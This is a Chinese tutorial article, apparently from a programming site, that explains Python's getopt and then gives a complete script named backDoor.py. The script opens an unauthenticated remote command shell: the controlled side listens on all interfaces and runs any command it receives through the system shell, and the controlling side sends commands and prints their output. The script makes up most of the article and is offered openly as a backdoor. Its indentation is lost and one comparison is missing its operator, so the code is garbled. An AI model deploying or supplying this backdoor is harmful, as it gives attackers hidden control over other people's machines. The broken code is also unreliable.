| 参数 | 释义 | 补充 |
|---|---|---|
| args | 要解析的参数列表 | 一般是sys.argv[1:],表示获取的参数不包括当前执行的 python 脚本名称 |
| shortopts | 要识别的短格式 (-) 选项字符串,如果后接:表示需要给定参数 |
如ab:c:,表示识别 -a, -b 和 -c 的短选项,其中 -b 和 -c 需要后接参数 |
| longopts = [] | 要识别的长格式(–)选项,如果后接=表示需要给定参数 |
如[“help”, “user=”, “password=”],表示识别--help, --user=root, --password=123456的长选项 |
函数返回值由两个元素组成:
-或--前缀的选项,value 表示该 option 对应的参数,可以为空字符串表示无参数;
import socket
import getopt
import sys
import subprocess
from threading import Thread
def main():
target = "" # 目标IP
port = 0 # 目标端口
listen = False
help = False
# 利用getopt模块从命令行获取参数,sys.argv[1:]可以过滤掉第一个参数(第一个参数是脚本的名称,它不应该作为参数进行解析)
opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
for o, a in opts:
if o == "-t":
target = a
elif o == "-p":
port = int(a)
elif o == "-h":
help = True
elif o == "-l":
listen = True
else:
# 断言,传入的参数有误
assert False, "Unhandled Option"
# 输出帮助文档
if help:
usage()
# 获分客户端和服务端
if listen:
server_handle(port)
else:
client_handle(target, port)
# 受控端
def server_handle(port):
# 创建socket通道
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定
server.bind(('0.0.0.0', port))
# 监听
server.listen(10)
print("[*] Listening on 0.0.0.0:%d" % port)
while True:
client_socket, addr = server.accept()
print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
t = Thread(target=run_command, args=(client_socket, server,))
t.start()
# 控制端,发送命令,接收受控端命令行的回显内容
def client_handle(target, port):
# 创建socket通道
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务器
client.connect((target, port))
# 接收数据
while True:
recv_len = 1
# 接收到的数据是utf-8
resBuffer = "".encode('utf-8')
while recv_len:
data = client.recv(4096)
recv_len = len(data)
resBuffer += data
if recv_len 4096:
break
# 在windows下中文会乱码,所以转成GBK
print(resBuffer.decode('gbk'), end="")
# 接收命令,发送命令需要将命令转成byte,并且编码是utf-8
buffer = input("")
if buffer.encode('utf-8') == b"quit":
break
buffer += "\n"
client.send(buffer.encode('utf-8'))
client.close()
# 执行命令涵数
def run_command(client_socket,s):
while True:
# 发送命令给客户端
client_socket.send(b"shell_>")
# 定义接收命令byte类型变量
cmd_buffer = "".encode('utf-8')
# 接收客户端发过来的消息,直到预到换行,代表客户端消息输入完成
while b"\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
if cmd_buffer == b"quit":
break
# 将完整的byte变量消息转成字符串
cmd_buffer = cmd_buffer.decode()
try:
# 通过隧道执行命令并以byte数据类型返回输出的数据
out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
# 将返回的数据发送给客户端
client_socket.send(out)
except:
client_socket.send(b"faild to execute the command")
client_socket.close() # 断开连接
s.close() # 关闭套结字
exit(0)
# 输出帮助信息
def usage():
print("help info : python backDoor.py -h")
print("client : python backDoor.py -t [target] -p [port]")
print("server : python backDoor.py -lp [port]")
print("Exit :Input quit to exit ")
sys.exit()
if __name__ == "__main__":
main()
效果演示
获取脚本帮助提示、进行远程连接:

到此这篇关于Python实现Socket通信建立TCP反向连接的文章就介绍到这了,更多相关Python TCP反向连接内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!